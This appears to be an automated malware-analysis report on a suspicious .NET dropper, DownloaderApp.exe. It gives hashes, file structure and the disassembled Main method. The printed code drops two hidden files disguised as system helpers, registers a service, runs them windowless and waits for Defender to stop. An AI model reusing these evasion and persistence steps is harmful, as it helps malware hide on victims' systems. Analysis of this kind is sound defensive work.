Suspicious
Suspect

a797fb02b6dc3f46f0926eab60fac1d1

PE Executable
|
MD5: a797fb02b6dc3f46f0926eab60fac1d1
|
Size: 2.63 MB
|
application/x-dosexec

Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Medium

Hash
 Hash Value
MD5
a797fb02b6dc3f46f0926eab60fac1d1
Sha1
7f4cf1cbbd276a7323173f5455bf2f5a2eacd317
Sha256
222472758402b62d15b12987ba1f0564b57131ecac2c3aff09c58533b9381b0a
Sha384
10514c4573b0a7ebb2609f86595227b0130d6ac0e9b3d09d3552365edf793f14a529321817df74899e9d1f8109169c54
Sha512
2b7287d13f0703d846b3de457aaec270f388939d68546a28dcdcc525052de31914fa44fda1f40404de90a2457cc34b82edb7a96ddbe77dd91609198526a2415d
SSDeep
49152:y26pIfPxKFF2uqneiSQ5snB/sx8sRN0Czn686kd8perbeVClU2r:b6eHxKF1qepm0s/rLznL6kd82hlUU
TLSH
1FC5338DB21DC224D56360BD38620C1E9D834EE862F034AE875EAD19D452A3FF1775BE
File Structure
a797fb02b6dc3f46f0926eab60fac1d1
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Lhbtoc4kYtCF.gK80K.lrkXN
Lhbtoc4kYtCF.vwOyR9.04IXS
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Info

PDB Path: C:\10\boot\Downloader_win\DownloaderApp\DownloaderApp\obj\Release\DownloaderApp.pdb
Module Name

DownloaderApp.exe
Full Name

DownloaderApp.exe
EntryPoint

System.Void A.B::Main(System.String[])
Scope Name

DownloaderApp.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

DownloaderApp
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.7.2
Total Strings

25
Main Method

System.Void A.B::Main(System.String[])
Main IL Instruction Count

84
Main IL

call System.Boolean A.B::C() brtrue.s IL_0015: call System.Boolean System.Environment::get_UserInteractive() call System.Void A.B::D() leave.s IL_0014: ret pop <null> leave IL_00F3: ret ret <null> call System.Boolean System.Environment::get_UserInteractive() brtrue.s IL_0027: ldstr "svchosthelper.exe" newobj System.Void A.E::.ctor() call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase) ret <null> ldstr svchosthelper.exe stloc.0 <null> ldstr systemhelper.exe stloc.1 <null> ldstr WindowsLogsHelper stloc.2 <null> ldc.i4.s 36 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) dup <null> ldloc.0 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.1 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_4 ldstr Lhbtoc4kYtCF.gK80K.lrkXN ldloc.3 <null> call System.Void A.B::F(System.String,System.String) ldstr Lhbtoc4kYtCF.vwOyR9.04IXS ldloc.s V_4 call System.Void A.B::F(System.String,System.String) ldloc.3 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.s V_4 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) call System.Void A.B::H() ldloc.3 <null> ldloc.2 <null> call System.Void A.B::I(System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.s V_4 callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ldc.r8 3 call System.TimeSpan System.TimeSpan::FromMinutes(System.Double) call System.Boolean A.B::WaitForDefenderStopped(System.TimeSpan) brfalse.s IL_00EE: leave.s IL_00F3 ldloc.3 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_00EE: leave.s IL_00F3 newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.3 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> leave.s IL_00F3: ret pop <null> leave.s IL_00F3: ret ret <null>
a797fb02b6dc3f46f0926eab60fac1d1 (2.63 MB)
File Structure
a797fb02b6dc3f46f0926eab60fac1d1
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Lhbtoc4kYtCF.gK80K.lrkXN
Lhbtoc4kYtCF.vwOyR9.04IXS
Characteristics
No malware configuration were found at this point.
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